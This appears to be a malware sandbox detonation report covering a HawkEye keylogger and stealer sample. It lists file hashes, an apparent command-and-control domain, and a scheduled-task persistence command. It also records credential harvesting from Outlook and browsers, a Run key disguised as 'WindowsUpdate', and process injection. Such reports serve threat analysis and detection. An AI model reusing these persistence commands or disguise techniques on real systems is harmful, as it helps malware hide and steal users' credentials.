"C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "'prndrvest"' /tr "'C:\Users\Admin\AppData\Roaming\prndrvest.exe"'

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpC01F.tmp.bat""

C:\Windows\SysWOW64\timeout.exe

timeout 3

C:\Users\Admin\AppData\Roaming\prndrvest.exe

"C:\Users\Admin\AppData\Roaming\prndrvest.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	8.8.8.8.in-addr.arpa	udp
US	8.8.8.8:53	28.118.140.52.in-addr.arpa	udp
US	8.8.8.8:53	82.90.14.23.in-addr.arpa	udp
US	8.8.8.8:53	5.181.190.20.in-addr.arpa	udp
US	8.8.8.8:53	196.249.167.52.in-addr.arpa	udp
US	8.8.8.8:53	232.168.11.51.in-addr.arpa	udp
US	8.8.8.8:53	sandyclark255.hopto.org	udp
US	8.8.8.8:53	183.59.114.20.in-addr.arpa	udp
US	8.8.8.8:53	sandyclark255.hopto.org	udp
US	8.8.8.8:53	171.39.242.20.in-addr.arpa	udp
US	8.8.8.8:53	edge.msiserver.lan	udp
US	8.8.8.8:53	edge.msiserver.lan	udp
US	8.8.8.8:53	edge.msiserver.lan	udp
US	8.8.8.8:53	edge.msiserver.lan	udp
US	8.8.8.8:53	edge.msiserver.lan	udp
US	8.8.8.8:53	172.214.232.199.in-addr.arpa	udp
US	8.8.8.8:53	sandyclark255.hopto.org	udp
US	8.8.8.8:53	29.243.111.52.in-addr.arpa	udp

Files

memory/2116-0-0x0000000074D82000-0x0000000074D83000-memory.dmp

memory/2116-1-0x0000000074D80000-0x0000000075331000-memory.dmp

memory/2116-2-0x0000000074D80000-0x0000000075331000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\FfaoLqToQ5b86H3I.exe

MD5	2819e45588024ba76f248a39d3e232ba
SHA1	08a797b87ecfbee682ce14d872177dae1a5a46a2
SHA256	b82b23059e398b39f183ec833d498200029033b0fd3a138b6c2064a6fa3c4b93
SHA512	a38b58768daf58fa56ca7b8c37826d57e9dbfcd2dedf120a5b7b9aa36c4e10f64ec07c11dbd77b5861236c005fe5d453523911906dd77a302634408f1d78503a

C:\Users\Admin\AppData\Local\Temp\pwafL68TvO7k2eAN.exe

MD5	9133c2a5ebf3e25aceae5a001ca6f279
SHA1	319f911282f3cded94de3730fa0abd5dec8f14be
SHA256	7c3615c405f7a11f1c217b9ecd1000cf60a37bca7da1f2d12da21cc110b16b4d
SHA512	1d1af3fcfcdba41874e3eb3e2571d25798acfd49b63b7fcf9393be2f59c9ba77e563da1717abcd6445fc52fd6d948bf4c0dd5978a192c8e32e0a9279fd0be33e

memory/4296-31-0x0000000074D80000-0x0000000075331000-memory.dmp

memory/4296-56-0x0000000074D80000-0x0000000075331000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ap6JYH4bZ8adfFk4.exe

MD5	590acb5fa6b5c3001ebce3d67242aac4
SHA1	5df39906dc4e60f01b95783fc55af6128402d611
SHA256	7bf9b7b25cf1671e5640f8eeac149f9a4e8c9f6c63415f4bd61bccb10ddf8509
SHA512	4ac518140ee666491132525853f2843357d622fe351e59cca7ce3b054d665f77ad8987adddd601e6b1afe6903222d77cf3c41a5aa69e8caf0dcdc7656a43e9ba

C:\Users\Admin\AppData\Local\Temp\vXIjmGGdY2N7fZw4.exe

MD5	f07d2c33e4afe36ec6f6f14f9a56e84a
SHA1	3ebed0c1a265d1e17ce038dfaf1029387f0b53ee
SHA256	309385e6cd68c0dd148905c3147f77383edaf35da9609c0717da7df1a894e3ca
SHA512	b4fbf0e6b8e7e8e1679680039e4ac0aebdf7967a9cc36d9ddac35fa31d997253384a51656d886afb2ded9f911b7b8b44c2dcb8ebe71962e551c5025a4d75ebe2

memory/4736-76-0x0000000074D80000-0x0000000075331000-memory.dmp

memory/2116-81-0x0000000074D82000-0x0000000074D83000-memory.dmp

memory/4004-80-0x0000000074D80000-0x0000000075331000-memory.dmp

memory/1844-84-0x0000000005240000-0x00000000057E4000-memory.dmp

memory/1844-85-0x0000000004D30000-0x0000000004DC2000-memory.dmp

memory/1844-83-0x0000000000430000-0x0000000000494000-memory.dmp

memory/4736-82-0x0000000074D80000-0x0000000075331000-memory.dmp

memory/1844-86-0x0000000004EC0000-0x0000000004ECA000-memory.dmp

memory/4004-79-0x0000000074D80000-0x0000000075331000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\6ax0Yc8236t6EQMa\svthost.exe

MD5	9d2a888ca79e1ff3820882ea1d88d574
SHA1	112c38d80bf2c0d48256249bbabe906b834b1f66
SHA256	8b5b38085f12d51393ed5a481a554074d3c482d53ecd917f2f5dffdf3d2ee138
SHA512	17a9f74ecf9f118ed0252fa0bc6ce0f9758a4dc75f238cae304def9c37cd94623818dd4aef38826642ff9e549b7e6047318f8bf6de7edff2d61a298d0bf5c840

memory/1120-77-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/4736-75-0x0000000074D80000-0x0000000075331000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\gQoNzQDlDop1I8Yn.exe

MD5	e87459f61fd1f017d4bd6b0a1a1fc86a
SHA1	30838d010aad8c9f3fd0fc302e71b4cbe6f138c0
SHA256	ec1b56551036963a425f6a0564d75980054e01d251c88eb29c81c1b2182f5727
SHA512	dd13993174d234d60ec98124b71bfefcf556c069e482a2e1f127f81f6738b71cd37cee95bf0119d3a61513c01438055767d480e26d6ed260ee16a96533d0cfa2

C:\Users\Admin\AppData\Local\Temp\YLxUm4TXsChj2JYM.exe

MD5	3e804917c454ca31c1cbd602682542b7
SHA1	1df3e81b9d879e21af299f5478051b98f3cb7739
SHA256	f9f7b6f7b8c5068f9e29a5b50afca609018c50ffd61929e1b78124f5381868f1
SHA512	28e59bc545179c2503771b93d947930bd56f8ebd0402ecbb398335c5ac89f40051e93fbfd84d35b8c625b253bb4cafea6a5360914b8d54d1bc121977f1eadbaf

memory/4004-68-0x0000000074D80000-0x0000000075331000-memory.dmp

memory/4296-32-0x0000000074D80000-0x0000000075331000-memory.dmp

memory/2116-88-0x0000000074D80000-0x0000000075331000-memory.dmp

memory/1844-89-0x0000000008F10000-0x0000000008F34000-memory.dmp

memory/384-98-0x0000000000400000-0x0000000000554000-memory.dmp

memory/384-102-0x0000000000400000-0x0000000000554000-memory.dmp

memory/916-99-0x0000000000400000-0x000000000040F000-memory.dmp

memory/916-96-0x0000000000400000-0x000000000040F000-memory.dmp

memory/1844-103-0x00000000024B0000-0x00000000024C2000-memory.dmp

memory/644-116-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/644-117-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/644-119-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/644-122-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/644-121-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/644-114-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/644-112-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/4412-130-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/1544-137-0x0000000000FB0000-0x0000000000FB1000-memory.dmp

memory/4412-127-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/4412-132-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/4296-196-0x0000000074D80000-0x0000000075331000-memory.dmp

memory/4004-199-0x0000000074D80000-0x0000000075331000-memory.dmp

memory/1844-211-0x0000000006060000-0x00000000060C6000-memory.dmp

memory/644-212-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/1844-214-0x00000000094B0000-0x000000000954C000-memory.dmp

memory/372-220-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/644-221-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/3180-227-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/3180-232-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/3180-229-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/3180-231-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/3868-230-0x0000000001250000-0x0000000001251000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\excelsl.exe.log

MD5	0a9b4592cd49c3c21f6767c2dabda92f
SHA1	f534297527ae5ccc0ecb2221ddeb8e58daeb8b74
SHA256	c7effe9cb81a70d738dee863991afefab040290d4c4b78b4202383bcb9f88fcd
SHA512	6b878df474e5bbfb8e9e265f15a76560c2ef151dcebc6388c82d7f6f86ffaf83f5ade5a09f1842e493cb6c8fd63b0b88d088c728fd725f7139f965a5ee332307

C:\Users\Admin\AppData\Local\Temp\tmpC01F.tmp.bat

MD5	65a7cae569635563b63a93b28ad70bb1
SHA1	fa031ae9da55a7479e04410047bc18e7905d160a
SHA256	8d12a3db8b00c8b618dc4fa394bbca2c6d002d4727c8109e485d736dd925ee77
SHA512	67995a663d451d949395bf95ba959d7ef14756202ca7baa557a36b65f8520fa8640bfae683f67c7a99a3f2fa0827f8d3c33a0663d85ac19a29ae019553c3d985

C:\Users\Admin\AppData\Roaming\prndrvest.exe

MD5	5bb0948789b5be2f013a82eb788ebf0a
SHA1	9523e1dcd9e56369428e4a4e8faa363091bc8c24
SHA256	c8bbf2a78b4a2897a7fabf5532ef41591cdc765ffc57fd028cac0aec5d005986
SHA512	ab1813ae75f9fa1347b9ed234fa64238cdb5f15946749d2297d6b9d5b8eb3e0bc50129ddca9b25ac7dd6f431a1a5bb13d78d0fb23e21a9d9b6184c65568a99a5

C:\Users\Admin\AppData\Roaming\prndrvest.exe

MD5	8e13ef6239d2ee51019a43b9a1542db9
SHA1	daa7dc4fba74b2e4dedbb7d209b726c38e4deae1
SHA256	8eeb73ce8379ea8d4437ba77e458da057534639934ca85faf7f98f4ef4576333
SHA512	18e98c4932ea4a46329804b2da1c33bd6f89ab3860873a097d954e439fffc7c03e0679e33ba18519e643e6488ec1e619ce9ec7a214e3547f26ee4d64c24d3474

memory/2944-247-0x0000000005240000-0x0000000005264000-memory.dmp

memory/4736-248-0x0000000074D80000-0x0000000075331000-memory.dmp

Analysis: behavioral11

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:14

Platform

win7-20240611-en

Max time kernel

150s

Max time network

138s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe"

Signatures

HawkEye

keylogger trojan stealer spyware hawkeye

NirSoft MailPassView

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

NirSoft WebBrowserPassView

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Nirsoft

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Executes dropped EXE

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	N/A

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	N/A

Uses the VBS compiler for execution

Accesses Microsoft Outlook accounts

collection

Description	Indicator	Process	Target
Key opened	\REGISTRY\USER\S-1-5-21-1340930862-1405011213-2821322012-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	N/A

Adds Run key to start application

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\wou\\odm.exe C:\\Users\\Admin\\AppData\\Roaming\\wou\\kja-pex"	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\wou\\odm.exe C:\\Users\\Admin\\AppData\\Roaming\\wou\\kja-pex"	C:\Users\Admin\AppData\Roaming\wou\odm.exe	N/A

Looks up external IP address via web service

Description	Indicator	Process	Target
N/A	whatismyipaddress.com	N/A	N/A
N/A	whatismyipaddress.com	N/A	N/A
N/A	whatismyipaddress.com	N/A	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 1972 set thread context of 1976	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 set thread context of 2796	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1976 set thread context of 392	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 set thread context of 2456	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	N/A

Suspicious use of FindShellTrayWindow

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\DllHost.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 328 wrote to memory of 2320	N/A	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 328 wrote to memory of 2320	N/A	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 328 wrote to memory of 2320	N/A	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 328 wrote to memory of 2320	N/A	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 328 wrote to memory of 2320	N/A	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 328 wrote to memory of 2320	N/A	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 328 wrote to memory of 2320	N/A	C:\Users\Admin\AppData\Local\Temp\2c01b007729230c415420ad641ad92eb.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 2320 wrote to memory of 1972	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 2320 wrote to memory of 1972	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 2320 wrote to memory of 1972	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 2320 wrote to memory of 1972	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 2320 wrote to memory of 1972	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 2320 wrote to memory of 1972	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 2320 wrote to memory of 1972	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Users\Admin\AppData\Roaming\wou\odm.exe
PID 1972 wrote to memory of 1976	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 1976	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 1976	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 1976	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 1976	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 1976	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 1976	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 1976	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 1976	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 1976	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 1976	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 1976	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1972 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Roaming\wou\odm.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 1976 wrote to memory of 392	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 392	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 392	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 392	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 392	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 392	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 392	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 392	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 392	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 392	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 392	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 392	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 392	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 2456	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
PID 1976 wrote to memory of 2456	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
